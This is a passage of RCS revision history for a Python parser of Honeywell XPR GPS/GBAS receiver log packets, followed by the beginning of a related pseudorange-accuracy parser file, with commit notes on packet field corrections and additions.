(self.fname, self.line_num, line.split()[0])
break
self.line_num += 1
if msg_lines:
self.parse_msg_lines(msg_lines)
def handle(self, msg):
"""default handler to be overridden by derived class: handles all
packets which don't have a handleXX function. note: do not call
get_parse_ids_from_handlers when using this function (otherwise,
unhandled packets will never be parsed)"""
pass
if __name__ == '__main__':
parser = Parser()
parser.main('xpr_log')
@
1.57
log
@Corrected the GBAS_Distance_Status bit number in packet 36@
text
@a187 2
self.sigma_D1 = safe_float(self[17])
self.sigma_D2 = safe_float(self[18])
@
1.56
log
@@
text
@d620 1
a620 1
self.gbas_distance_status = int(self[14])
@
1.55
log
@Added FD_gbas field to 5f@
text
@d4 1
a4 1
Copyright 2004-2008, Honeywell International Inc.
d187 3
d192 1
a192 1
return '%i %i %i %f %f %f %f %f %f %f %f %i %f %f %f %f' % \
d197 2
a198 1
self.decorr, self.decorr_D, self.range_residual, self.CCD_out)
d804 1
@
1.54
log
@@
text
@d799 1
@
1.53
log
@Added support for packet5F (GASTD) and corrected type 1 message latency bit in p36@
text
@d166 30
d666 8
@
1.52
log
@@
text
@d588 1
a588 1
self.type_1_message_latency = int(self[11])
d747 14
@
1.51
log
@@
text
@d63 1
@
1.50
log
@@
text
@d662 4
@
1.49
log
@@
text
@a753 10
"""
def init63(self):
self.error = int(self[0])
self.sequence_number = int(self[1])
self.packets_in_file = int(self[2])
self.bytes_in_this_packet = int(self[3])
self.item_start = self[4]
TODO: need to implement rest of this packet.
"""
@
1.48
log
@Fixed typo at the request of Ravindra.@
text
@d257 1
a257 1
self.estimated_clock_frequency_bias = float(self[1])
d272 1
a272 1
self.sw_version = self[1]
d284 5
a288 2
def init21(self):
self.tow = float(self[0])
d290 2
a291 2
self.rk_pr = float(self[4])
self.rk_pr_rate = float(self[6])
d294 23
a316 2
def init25(self):
self.mk_tow = float(self[0])
d318 34
a351 8
self.mk_lon_deg = float(self[2])
self.mk_lat_deg = float(self[3])
self.mk_alt = float(self[4])
self.mk_vel_x = float(self[5])
self.mk_vel_y = float(self[6])
self.mk_vel_z = float(self[7])
self.mk_cbias = float(self[8])
self.mk_freq = float(self[9])
d353 1
a353 1
def init27(self):
d361 3
a363 3
self.r_tow = float(self[7])
self.r_pr = float(self[8])
self.r_pr_rate = float(self[9])
d365 1
a365 1
def init28(self):
d408 10
a417 10
self.a_toa = float(self[5])
self.a_af0 = float(self[6])
self.a_af1 = float(self[7])
self.a_w = float(self[8])
self.a_m0 = float(self[9])
self.a_e = float(self[10])
self.a_sqrta = float(self[11])
self.a_omg0 = float(self[12])
self.a_i0_rel = float(self[13])
self.a_odot = float(self[14])
d453 1
d457 1
a457 1
self.metric = float(self[1])
d469 1
a469 1
self.fault = self[2]
d567 1
d575 10
a584 9
self.runway_letter = int(self[5])
self.runway_number = int(self[6])
self.time_since_last_valid_type_1_message = int(self[7])
self.number_of_corrections_used = int(self[8])
self.number_of_corrections_received = int(self[9])
self.number_of_ranging_sources_tracked = int(self[10])
self.bias_approach_monitor_status = int(self[11])
self.precision_approach_region = int(self[12])
self.gbas_message_id_received = int(self[13])
d586 16
a601 14
self.vertical_guidance_region_status = int(self[15])
self.type_1_message_latency = int(self[16])
self.type_1_message_time_out = int(self[17])
self.gls_vertical_performance_alert = int(self[18])
self.gls_lateral_performance_alert = int(self[19])
self.position_status_for_gls = int(self[20])
self.ground_station_status = int(self[21])
self.vertical_approach_status = int(self[22])
self.lateral_approach_status = int(self[23])
self.number_of_gbas_messages_received = int(self[24])
self.number_of_valid_type_1_messages_received = int(self[25])
self.number_of_gbas_message_crc_errors_detected = int(self[26])
self.approach_performance_designator = int(self[27])
self.above_threshold_crossing_height = int(self[28])
d636 18
d662 6
d709 3
a711 1
self.times = [int(t) for t in self]
d713 10
d729 14
d745 3
a747 3
self.sv_x = int(self[1])
self.sv_y = int(self[2])
self.sv_z = int(self[3])
d751 2
a752 1
self.data = [int(x) for x in self[1:8]]
d754 10
d765 1
a765 1
self.m_GBAS_ID = self[0]
d770 1
a770 1
self.m_airport_ID = self[5]
d776 1
a776 1
self.m_ref_path_ID = self[11]
d789 6
a794 1
self.m_delta_length_offset_valid = int(self[24])
d846 7
d887 28
d919 3
a921 3
self.year = int(self[0])
self.month = int(self[1])
self.day = int(self[2])
d924 1
a924 2
self.second = int(self[5])
self.milliseconds = int(self[6])
d927 6
a932 5
self.prn = int(self[0])
self.raw_pr = safe_float(self[1])
self.delta_pr = safe_float(self[2])
self.smooth_pr = safe_float(self[3])
self.divg = safe_float(self[4])
d935 2
a936 2
self.prn = init(self[0])
self.sa_mode = init(self[1])
d947 2
a948 2
self.prn = init(self[0])
self.corrections = safe_float(self[1])
d957 2
a958 1
self.valid = int(self[1])
d963 65
a1027 1
@
1.47
log
@Changed packet 074 VFOM and BV_app_max from int to safe_float at the request of Amruta.@
text
@d233 1
a233 1
self.veritcal_position_error = safe_float(self[2])
@
1.46
log
@Added PRN to packet 83 at the request of HTSL@
text
@d756 2
a757 2
self.approach_VFOM = int(self[1])
self.Bv_app_max = int(self[2])
@
1.45
log
@@
text
@d779 2
a780 1
self.sa_mode = init(self[0])
@
1.44
log
@@
text
@d119 1
a119 1
self.correction_status = int(self[3])
@
1.43
log
@fixed init84 per definition of 0x84 in SRS@
text
@d433 8
d476 1
a476 1
self.vil_minus_5 = safe_float(self[4])
d480 1
a480 1
self.vil_plus_15 = safe_float(self[8])
d516 1
a516 1
d547 1
a547 1
d553 1
a553 1
self.vil_minus_5 = safe_float(self[4])
d557 1
a557 1
self.vil_plus_15 = safe_float(self[8])
d563 1
a563 1
d566 1
a566 1
@
1.42
log
@added support for packet 0x47, "VDB Data Broadcast"@
text
@d774 2
a775 2
self.prn = int(self[0])
self.waas_health = int(self[1])
@
1.41
log
@Add data length field and operation type field to packet 0x64@
text
@d572 9
a580 1
@
1.40
log
@added support for packet 0x72, "timed event"@
text
@d635 23
a657 21
self.m_SBAS = int(self[2])
self.m_airport_ID = self[3]
self.m_runway_number = int(self[4])
self.m_runway_letter = int(self[5])
self.m_appr_perf_designator = int(self[6])
self.m_route_indicator = int(self[7])
self.m_RPDS = int(self[8])
self.m_ref_path_ID = self[9]
self.m_LTP_lat_deg = safe_float(self[10])
self.m_LTP_lon_deg = safe_float(self[11])
self.m_LTP_height_m = safe_float(self[12])
self.m_delta_FPAP_lat_deg = safe_float(self[13])
self.m_delta_FPAP_lon_deg = safe_float(self[14])
self.m_TCH_m = safe_float(self[15])
self.m_TCH_ft = safe_float(self[16])
self.m_TCH_unit_selector = int(self[17])
self.m_GPA_deg = safe_float(self[18])
self.m_GPA_rad = safe_float(self[19])
self.m_CW_TH_m = safe_float(self[20])
self.m_delta_length_offset_m = int(self[21])
self.m_delta_length_offset_valid = int(self[22])
@
1.39
log
@modified init5a() per new definition in SRS2809 (see SCR2722)@
text
@d722 7
@
1.38
log
@added init16, init17, init18, init19, init1A, init1C, init1F, and init2E
added descriptions for various init functions@
text
@d4 1
a4 1
Copyright 2004-2007, Honeywell International Inc.
d619 2
a620 2
self.max_event_duration_ms = int(self[2])
self.min_event_duration_ms = int(self[3])
@
1.37
log
@added numerous instrumentation packets@
text
@d224 1
a224 1
def init1A(self):
d226 31
d262 10
a271 1
def init1D(self):
d274 10
d398 5
@
1.36
log
@added detection of binary formats to allow use with ARINC logs@
text
@d392 1
a392 1
self.east_velocity_component = safe_float(self[12])
d518 1
a518 1
def init50(self):
d523 1
a523 1
self.freq = float(self[4])
d529 1
a529 1
def init51(self):
d534 1
a534 1
def init52(self):
d539 2
a540 2
def init53(self):
self.clock_bias_sec = float(self[0])
d543 1
a543 1
def init54(self):
d549 1
d554 1
a554 1
def init55(self):
d556 1
a556 1
self.sigma_noise_m = float(self[1]) # gpsbin2txt does sqrt
d558 1
a558 1
def init57(self):
d561 59
a619 1
def init66(self):
d626 100
a725 1
@
1.35
log
@fixed init35 to interpret validity in hex and changed all calls to float in init35 to safe_float, to be tolerant of "1.#INF00" for glideslope_deviation_angular and any other bogus data it might contain@
text
@d658 5
a662 1
txt_fname = os.path.splitext(fname)[0] + '.txt'
@
1.34
log
@fixed bug of interpreting packet 0x3a health as decimal, not hex@
text
@d433 1
a433 1
self.validity = int(self[0])
d439 13
a451 13
self.runway_heading = float(self[6])
self.lateral_protection_level = float(self[7])
self.vertical_protection_level = float(self[8])
self.lateral_alarm_limit = float(self[9])
self.vertical_alarm_limit = float(self[10])
self.horizontal_deviation_rectilinear = float(self[11])
self.vertical_deviation_rectilinear = float(self[12])
self.localizer_deviation_angular = float(self[13])
self.glideslope_deviation_angular = float(self[14])
self.distance_to_runway_datum_point = float(self[15])
self.selected_glide_path_angle = float(self[16])
self.threshold_crossing_height = float(self[17])
self.ltp_to_garp_distance = float(self[18])
@
1.33
log
@added support for packet 0x66@
text
@d130 1
a130 1
self.health = int(self[4])
d547 1
a547 1
self.magnitude = int(self[3])
d549 3
@
1.32
log
@added packets 0x2b, 0x35, 0x36, 0x38 and 0x39@
text
@d556 9
a564 1
@
1.31
log
@added support for sevearl packets, including 0x3a and 0x3b@
text
@d111 10
d164 1
a164 1
d301 18
a318 1
d431 22
d454 31
d496 8
a504 1
print self.line
a511 1
print self.line
@
1.30
log
@made improvements in error handling
fixed line numbering@
text
@d47 6
a99 3
def __repr__(self):
return ' '.join(self)
d111 44
d380 51
@
1.30.1.1
log
@added support for packets 0x33, 0x34, 0x37, 0x3a, 0x3b@
text
@d17 1
a17 1
__version__ = '$Revision: 1.31 $'
a46 6
def __repr__(self):
return ' '.join(self)
def __str__(self):
return text
d94 3
a107 44
class ChannelStatus3A(DataList):
"""Represents a single set of channel status data from packet 0x3A."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.state = int(self[2])
self.lock_count = int(self[3])
self.health = int(self[4])
self.carrier_to_noise_ratio = safe_float(self[5])
self.azimuth = safe_float(self[6])
self.elevation = safe_float(self[7])
def __str__(self):
return '%i %i %i %i %i %f %f %f' % \
(self.hardware_channel, self.prn, self.state, self.lock_count,
self.health, self.carrier_to_noise_ratio,
self.azimuth, self.elevation)
class Measurement3B(DataList):
"""Represents a single satellite measurement from packet 0x3B."""
def __init__(self, line_num, text):
DataList.__init__(self, line_num, text)
self.hardware_channel = int(self[0])
self.prn = int(self[1])
self.validity_and_in_use_mask = int(self[2], 16)
self.sv_x = safe_float(self[3])
self.sv_y = safe_float(self[4])
self.sv_z = safe_float(self[5])
self.pseudorange = safe_float(self[6])
self.pseudorange_sigma = safe_float(self[7])
self.range_rate = safe_float(self[8])
self.delta_carrier_phase = safe_float(self[9])
self.pseudorange_sigma_ob = safe_float(self[10])
def __str__(self):
return '%i %i %i %f %f %f %f %f %f %f %f' % \
(self.hardware_channel, self.prn, self.validity_and_in_use_mask,
self.sv_x, self.sv_y, self.sv_z, self.pseudorange,
self.pseudorange_sigma, self.range_rate,
self.delta_carrier_phase, self.pseudorange_sigma_ob)
a332 51
def init33(self): # horizontal integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init34(self): # SBAS alamanc response
self.svid = int(self[0])
self.d_a_wn = int(self[1])
self.a_toa = safe_float(self[2])
self.a_x = safe_float(self[3])
self.a_y = safe_float(self[4])
self.a_z = safe_float(self[5])
self.a_dx = safe_float(self[6])
self.a_dy = safe_float(self[7])
self.a_dz = safe_float(self[8])
self.d_health_and_status = int(self[9])
self.d_service_provider = int(self[10])
def init37(self): # vertical integrity prediction result
self.prediction_sequence_number = int(self[0])
self.status = int(self[1])
self.vil_minus_15 = safe_float(self[2])
self.vil_minus_10 = safe_float(self[3])
self.vil_minus_5 = safe_float(self[4])
self.vil_0 = safe_float(self[5])
self.vil_plus_5 = safe_float(self[6])
self.vil_plus_10 = safe_float(self[7])
self.vil_plus_15 = safe_float(self[8])
def init3A(self): # channel status
print self.line
self.time_mark_sequence_number = int(self[0])
self.number_of_channels_in_receiver = int(self[1])
self.number_of_channels_in_this_packet = int(self[2])
self.channel_stat = [ChannelStatus3A(self.line_num, status) for status in self.get_data_list()]
assert(len(self.channel_stat) == self.number_of_channels_in_this_packet)
def init3B(self): # measurements
print self.line
self.time_mark_sequence_number = int(self[0])
self.total_number_of_measurements = int(self[1])
self.number_of_measurements_in_this_packet = int(self[2])
self.measurements = [Measurement3B(self.line_num, measurement) for measurement in self.get_data_list()]
assert(len(self.measurements) == self.number_of_measurements_in_this_packet)
@
1.29
log
@fixed bug in init53@
text
@d493 1
a493 1
raise
d505 1
a505 1
try:
d508 10
a517 8
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
except Exception, error:
self.handle_parse_error(error, self.line_num, lines[0])
d520 1
a520 1
print '%s Error in line number %i:' % (msg, self.line_num)
d530 1
a530 1
self.line_num = 1
@
1.28
log
@changed print_timespan to at_main_end@
text
@d357 1
a357 1
self.tick_ms = int(self([1]))
@
1.27
log
@fixed a couple of bugs and pylint issues@
text
@d4 1
a4 1
Copyright 2004-2006, Honeywell International Inc.
d414 1
a414 1
self.print_timespan()
d416 3
a418 1
def print_timespan(self):
@
1.26
log
@added support for packet 0x1a@
text
@d36 1
d119 1
a119 1
def __init__(self, lines, line_num, serial_number, id, text, second):
d124 1
a124 1
self.id = id
d128 1
a128 1
initializer_name = 'init' + id
d426 2
a427 2
for id in ids:
self.ids_to_parse[id] = True
d433 3
a435 3
id = name[-2:]
int(id, 16) # raises value error if id isn't hex
handler_ids.append(id)
d499 3
a501 3
id = m.group(3)
if not self.ids_to_parse or self.ids_to_parse.has_key(id):
handler_name = 'handle' + id
d504 1
a504 1
msg = Msg(lines, self.line_num, m.group(1), id, m.group(4),
d517 1
a517 1
print line
@
1.25
log
@fixed problem of trying to convert a ".txt" file@
text
@d166 4
@
1.24
log
@added derived members for packet 0x28
changed 'raise error' to 'raise'@
text
@d456 1
a456 3
root_fname = os.path.splitext(fname)[0]
txt_fname = root_fname + '.txt'
bin_fname = root_fname + '.gps'
d459 1
a459 1
if os.path.getmtime(txt_fname) > os.path.getmtime(bin_fname):
d467 2
a468 2
print 'Converting', bin_fname, 'to', txt_fname
if os.system('gpsbin2txt %s %s 3' % (bin_fname, txt_fname)) == 0:
@
1.23
log
@added support for packet 0x57, task times@
text
@d205 1
a205 1
assert(self.r_listid >= 0 and self.r_listid <= 24)
d211 2
d216 11
d488 1
a488 1
raise error
@
1.22
log
@changed "rawlog*.gps" to "*.gps"@
text
@d4 1
a4 1
Copyright 2004-2005, Honeywell International Inc.
d351 3
@
1.21
log
@changed interpretation of sequence number of packet 0x31 from hex to decimal@
text
@d423 1
a423 1
rawlog*.gps file"""
d429 2
a430 2
print 'No files were found via command-line arguments. Using newest rawlog*.gps.'
fnames = glob.glob('rawlog*.gps')
@
1.20
log
@fixed timestamp to accommodate variable line header width@
text
@d269 1
a269 1
self.time_mark_sequence_number = int(self[0], 16)
@
1.19
log
@changed logic/format of timestamp()@
text
@d158 5
a162 1
return self.line[:13]
@
1.18
log
@modified __str__ and __repr__ functions@
text
@d158 1
a158 1
return '%s %5is:' % (self.line.split()[0], self.second)
@
1.17
log
@added support for multi-line input log file format@
text
@d94 3
a103 3
def __str__(self):
return ' '.join(self)
d132 1
a132 1
return self.line
@
1.16
log
@@
text
@d58 1
d118 3
a120 2
def __init__(self, line, line_num, serial_number, id, text, second):
self.line = line
d139 1
a139 1
return s
d141 6
d163 1
a163 2
statuses = self.bracket_re.findall(self.text)
self.statuses = [ChannelStatus(self.line_num, status) for status in statuses]
d221 1
a221 2
records = self.bracket_re.findall(self.text)
self.visibility_records = [VisibilityRecord(self.line_num, record) for record in records]
d258 1
d261 1
a261 2
measurements = self.bracket_re.findall(self.text)
self.measurements = [Measurement(self.line_num, measurement) for measurement in measurements]
a373 1
self.num_lines = 0
d450 1
a450 1
if os.system('gpsbin2txt ' + bin_fname) == 0:
d469 28
a496 1
d504 1
a506 1
self.num_lines += 1
d508 5
a512 24
m = self.msg_re.search(line)
if m:
self.num_parsed += 1
try:
id = m.group(3)
if not self.ids_to_parse or self.ids_to_parse.has_key(id):
handler_name = 'handle' + id
self.second = int(m.group(2))
try:
msg = Msg(line.rstrip(), self.line_num, m.group(1), id,
m.group(4), self.second)
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
except Exception, error:
self.handle_parse_error(error, self.line_num, line)
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error in line number %i:' % (msg, self.line_num)
print line
sys.exit(1)
d517 1
a517 1
break
d519 2
@
1.15
log
@added support for packet 0x2f (system metric)
changed source of seconds to field produced by gpsbin2txt@
text
@d38 2
a39 3
class ChannelStatus(list):
"""Represents a single channel status from packet 0x1b. (Note that this
uses the semantics of packet 0x30 rather than 0x1b.)"""
d45 7
d56 13
d70 1
a70 1
class Measurement(list):
d76 1
a76 3
self.line_num = line_num
self.text = text
self += text.split()
d93 6
a98 1
return self.text
d111 1
a111 1
measurement_re = re.compile('\[(.*?)\]')
d117 1
a117 1
def __init__(self, line, line_num, id, text, second):
d120 1
d127 1
a127 7
try:
getattr(self, initializer_name)() # call initxx
except Exception, error:
print 'Parsing error on line', self.line_num, 'of input file:'
print ' ', line
print ' Text:', text
raise Exception, error
d155 1
a155 1
statuses = self.measurement_re.findall(self.text)
d211 5
d254 1
a254 1
measurements = self.measurement_re.findall(self.text)
d272 4
a275 1
self.HEL = safe_float(self[17])
d440 2
a441 1
pass # bin file does not exist
d459 6
a464 1
d484 11
a494 7
msg = Msg(line, self.line_num, id, m.group(4), self.second)
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
@
1.14
log
@added fname parameter to main
added convert_log_file function@
text
@d224 5
a228 1
d321 1
a321 1
msg_re = re.compile(' MSG(.*?) (.*)')
d449 1
a449 1
id = m.group(1)
d452 2
a453 5
msg = Msg(line, self.line_num, id, m.group(2), self.second)
if id == '32' and msg.at_pps:
self.second += 1
elif id == '19':
self.second += 1
@
1.13
log
@Fixed float conversion in init50
Added copyright@
text
@d17 2
d344 1
a344 1
def main(self, title=''):
d350 8
a357 1
self.parse_command_line_fnames()
d419 3
@
1.12
log
@changed handling of case of no command-line argument to process newest rawlog rather than all rawlogs@
text
@d1 2
a2 2
""" xpr_log.py: This module provides a framework <tee-hee> for the text version
of XPR log files. To use this module:
d4 4
d280 1
a280 1
self.freq = int(self[4])
@
1.11
log
@modified packet 0x53 and added packets 0x54 and 0x55@
text
@d371 2
a372 2
command line. If none are found, the list is based on available files
whose name matches the pattern 'rawlog*.gps'"""
d378 4
a381 2
print 'No files were found via command-line arguments. Using all available files.'
fnames = [os.path.splitext(fname)[0] for fname in glob.glob('rawlog*.gps')]
@
1.10
log
@modified init2C to match 2C output format of gpsbin2txt.cpp, v1.33@
text
@d1 2
a2 2
""" This module provides a framework <tee-hee> for the text version of XPR log
files. To use this module:
d85 3
a87 2
byte_counts = { '1D':7, '1F':13, '27':41, '28':37, '29':9, '2C':91, '2D':46, '2E':85,
'30':None, '31':54, 32:104, '50':20, '51':9, '52':17 }
d294 12
@
1.9
log
@reworked maintenance of the second count to eliminate handle32 and to support XPR via packet 0x19@
text
@d189 2
a190 2
self.tick = int(self[0])
self.prn = int(self[1])
d200 5
a204 5
# self.tow = float(self[]) # gpsbin2txt doesn't currently output tow
self.precision = int(self[11])
self.correction = int(self[12])
self.raw_pr = safe_float(self[13])
self.smooth_pr = safe_float(self[14])
@
1.8
log
@added class ChannelStatus and init1B@
text
@d418 4
a439 5
def handle32(self, msg):
"default handler to increment second when packet 0x32 is received"
if msg.at_pps:
self.second += 1
d442 3
a444 5
packets which don't have a handleXX function. note:
- this class provides handle32, so packet 0x32 will not go through
this function.
- do not call get_parse_ids_from_handlers when using this function
(otherwise, unhandled packets will never be parsed)"""
@
1.7
log
@fixed sequence number in packet 0x30@
text
@d32 13
d129 4
@
1.6
log
@added init functions for packets 0x21, 0x25, and 0x53@
text
@d202 1
a202 1
self.time_mark_sequence_number = int(self[0], 16)
@
1.5
log
@added main and init51 functions
made other small changes@
text
@d35 2
d61 4
a64 1
d71 3
d102 6
d119 19
d273 4
a276 1
d419 5
d425 6
a430 1
"default handler to be overridden by derived class"
a432 4
def handle32(self, msg):
"default handler to increment second count when 0x31 is received"
if msg.at_pps:
self.second += 1
@
1.4
log
@modified msg_re so '??????' lines will be ignored@
text
@d20 6
d67 1
a67 1
def __init__(self, line, line_num, id, text):
d72 1
d98 3
d231 5
d271 13
d286 1
a286 1
"""Set the IDs to be parsed."""
d364 1
a364 1
msg = Msg(line, self.line_num, id, m.group(2))
d378 2
a379 2
print 'Parsing of %s aborted at line %i.' % \
(self.fname, self.line_num)
d394 1
a394 1
parser.parse_command_line_fnames()
@
1.3
log
@@
text
@d230 1
a230 1
msg_re = re.compile('MSG(.*?) (.*)')
@
1.2
log
@@
text
@d89 1
a89 1
return self.line.split()[0]
d180 30
a209 1
d329 19
a347 20
if not '?????' in line:
m = self.msg_re.search(line)
if m:
self.num_parsed += 1
try:
id = m.group(1)
if not self.ids_to_parse or self.ids_to_parse.has_key(id):
handler_name = 'handle' + id
msg = Msg(line, self.line_num, id, m.group(2))
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
self.num_handled += 1
else:
self.handle(msg)
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error in line number %i:' % (msg, self.line_num)
print line
sys.exit(1)
d359 1
a359 1
def handle31(self, msg):
d361 2
a362 1
self.second += 1
@
1.1
log
@Initial revision@
text
@d1 2
a2 1
import sys, re
d4 17
d27 1
a27 1
""" holds a single satellite measurement from packet 0x30 """
d47 6
d55 3
d61 2
a62 1
def __init__(self, line_num, id, text):
d69 7
a75 1
getattr(self, initializer_name)() # call initxx
d77 19
d120 39
a158 1
def init30(self):
a162 1
# print self.measurements
d165 16
d191 5
a195 7
def __repr__(self):
s = self.id + ' : '
for field in self:
s += str(field) + ' '
s = s[:-1]
return s
d198 3
a200 1
d203 86
a288 1
d290 4
d295 1
a295 1
line_num = 1
d298 2
d303 1
d306 9
a314 7
handler_name = 'handle' + id
msg = Msg(line_num, id, m.group(2))
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(msg)
else:
self.handle(msg)
d317 1
a317 1
print '%s Error in line number %i:' % (msg, line_num)
d320 6
a325 1
line_num += 1
d336 2
a337 2
p = Parser()
p.parse('rawlog.txt')
@
<file_sep>/rcs/pracc_xpr_parser.py
head 1.6;
branch ;
access ;
symbols 2PXRFS1:1.6 PVTSE_tests:1.6 HT_0113:1.5 TRR1:1.4;
locks ; strict;
comment @@;
1.6
date 2009.09.24.19.46.15; author E348223; state Exp;
branches ;
next 1.5;
1.5
date 2009.07.23.21.51.18; author e146526; state Exp;
branches ;
next 1.4;
1.4
date 2008.08.01.18.25.20; author e148815; state Exp;
branches ;
next 1.3;
1.3
date 2008.06.04.22.26.22; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.2;
1.2
date 2007.11.07.20.38.57; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.10.26.21.11.28; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.6
log
@SCR4436 - Corrected validity/in-use mask.@
text
@from mode_changes import ModeChanges as XprParser
from pracc_data import *
class PseudorangeAccuracyXprParser(PseudorangeAccuracyData, XprParser):
packet31_navigation_modes = ['Navigation', 'Non-precision_SBAS_Navigation',
'Dead-Reckoning', 'Precision_SBAS_Navigation', 'GBAS']
MASK_ANGLE_DEG = 0.0
def __init__(self):
PseudorangeAccuracyData.__init__(self)
XprParser.__init__(self)
def restart(self):
PseudorangeAccuracyData.restart(self)
self.msg1B = self.msg30 = self.msg32 = self.msg3A = self.msg3B = None
self.msg55s = []
# handle XPR packets 1B, 21, 25, 29 from Level 1 core:
def handle1B(self, msg):
self.msg1B = msg
def handle21(self, msg):
if self.msg1B is None:
return
cn0 = None
for status in self.msg1B.statuses:
if status.prn == msg.prn:
cn0 = status.carrier_to_noise_ratio
break
if cn0 is None:
print 'No CN0 is available for message:', msg.timestamp()
else:
self.add_svdata(msg.timestamp(), msg.prn,
msg.tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.rk_pr,
pr_noise_sigma(msg.prn, self.min_signal))
def handle25(self, msg):
self.cbiases.append(ClockBias(msg.mk_tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.mk_cbias))
def handle29(self, msg):
if self.verbose and (msg.fault_type == 90): # (msg.fault_type == 90 or msg.fault_type == 170):
print msg.line, # includes newline
# handle EXPR packets 30, 31, 32 packets from Level 2 core:
def handle30(self, msg):
self.msg30 = msg
def handle31(self, msg):
was_navigating = self.navigating
self.navigating = (msg.mode in self.packet31_navigation_modes)
if self.navigating and not was_navigating:
print 'Navigating at TOW', self.tow
def handle32(self, msg):
if msg.at_pps:
# process measurements from the prior second
self.process_measurements()
# mark old messages as invalid
self.msg30 = self.msg3A = self.msg3B = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
def handle3A(self, msg):
if self.msg3A is None or \
self.msg3A.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3A = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3A.channel_stat += msg.channel_stat
def handle3B(self, msg):
if self.msg3B is None or \
self.msg3B.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3B = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3B.measurements += msg.measurements
def handle55(self, msg):
self.msg55s.append(msg)
def process_measurements(self):
# check if we have a valid msg32
if self.msg32 is None:
return
if not self.navigating:
self.min_measurement_tow = None
return
if not self.msg32.at_pps:
return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
# calculate TOW and check if measurements can be used
self.tow = self.msg32.gps_tow + LEVEL2_CORE_TOW_ADJUST_SEC
if self.max_tow is not None and self.tow > self.max_tow:
return
if self.min_measurement_tow is None:
if self.navigating:
self.min_measurement_tow = self.tow #+ SETTLING_TIME_SEC
print 'Minimum measurement TOW is', self.min_measurement_tow
else:
return
elif self.tow < self.min_measurement_tow:
return # waiting for measurements to settle
seq_num = self.msg32.time_mark_sequence_number
# process msg30 only if msg3B isn't available
if self.msg3B is None:
if self.msg30 is not None and \
self.msg30.time_mark_sequence_number == seq_num:
self.process_measurements30()
return
# verify that we have a 3A
if self.msg3A is None:
print 'Missing 3A at', self.msg32.timestamp()
return
# verify that 3A and 3B have the same sequence number as 32
if self.msg3A.time_mark_sequence_number != seq_num or \
self.msg3B.time_mark_sequence_number != seq_num:
print 'Time mark sequence number mismatch at %s: %d, %d, %d' % \
(self.msg32.timestamp(), seq_num, self.msg3A.time_mark_sequence_number,
self.msg3B.time_mark_sequence_number)
return
# verify that 3A is complete
if len(self.msg3A.channel_stat) != self.msg3A.number_of_channels_in_receiver:
print 'Incomplete 3A at %s: %d of %d' % \
(self.msg3A.timestamp(),
len(self.msg3A.channel_stat), self.msg3A.number_of_channels_in_receiver)
return
# verify that 3B is complete
if len(self.msg3B.measurements) != self.msg3B.total_number_of_measurements:
print 'Incomplete 3B at %s: %d of %d' % \
(self.msg3B.timestamp(),
len(self.msg3B.measurements), self.msg3B.total_number_of_measurements)
return
# all pre-conditions have been met: process 3B's measurements
self.process_measurements3B()
def process_measurements30(self):
for meas in self.msg30.measurements:
if (meas.validity_mask & 0x08) and (meas.prn not in self.excluded_prns) \
and (meas.pseudorange_sigma < MIN_PR_SIGMA) \
and (self.use_sbas or not is_sbas(meas.prn)) \
and (meas.elevation >= self.MASK_ANGLE_DEG):
assert(meas.health == 'NORM')
pseudorange = meas.pseudorange
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn, self.min_signal)
else:
# find the sigma noise value for this PRN in the current list of message 55s
pr_sigma = None
for msg55 in self.msg55s:
if msg55.prn == meas.prn:
try:
pr_sigma = msg55.sigma_noise_m
except AttributeError, err:
print 'self.msg55s:', self.msg55s
print 'msg55.line:', msg55.line
print 'msg55.timestamp():', msg55.timestamp()
assert(False)
break
if not self.test_accuracy and pr_sigma == None:
if self.verbose:
print 'No sigma_noise value is available for PRN', \
meas.prn, 'at message:', self.msg32.timestamp()
else:
self.add_svdata(self.msg30.timestamp(), meas.prn, self.tow,
pseudorange, pr_sigma, msg55.sigma_noise_m)
self.msg55s = []
self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
def process_measurements3B(self):
# build a dictionary of prn elevations from msg3A
elevations = {}
lock_counts = {}
for status in self.msg3A.channel_stat:
elevations[status.prn] = status.elevation
lock_counts[status.prn] = status.lock_count
# parse measurements
for meas in self.msg3B.measurements:
# check if the measurement meets various pre-conditions
if not ((meas.validity_and_in_use_mask & 0xc0) == 0xc0):
# print 'measurement not valid:', meas.validity_and_in_use_mask
continue
if (meas.prn in self.excluded_prns):
# print 'excluded prn:', meas.prn
continue
if (meas.pseudorange_sigma >= MIN_PR_SIGMA):
# print 'bad sigma:', meas.pseudorange_sigma
continue
if (not self.use_sbas and is_sbas(meas.prn)):
# print 'sbas prn:', meas.prn
continue
if (elevations[meas.prn] < self.MASK_ANGLE_DEG):
# print 'below mask angle:', elevations[meas.prn]
continue
if (self.test_accuracy and (lock_counts[meas.prn] < SETTLING_TIME_SEC)):
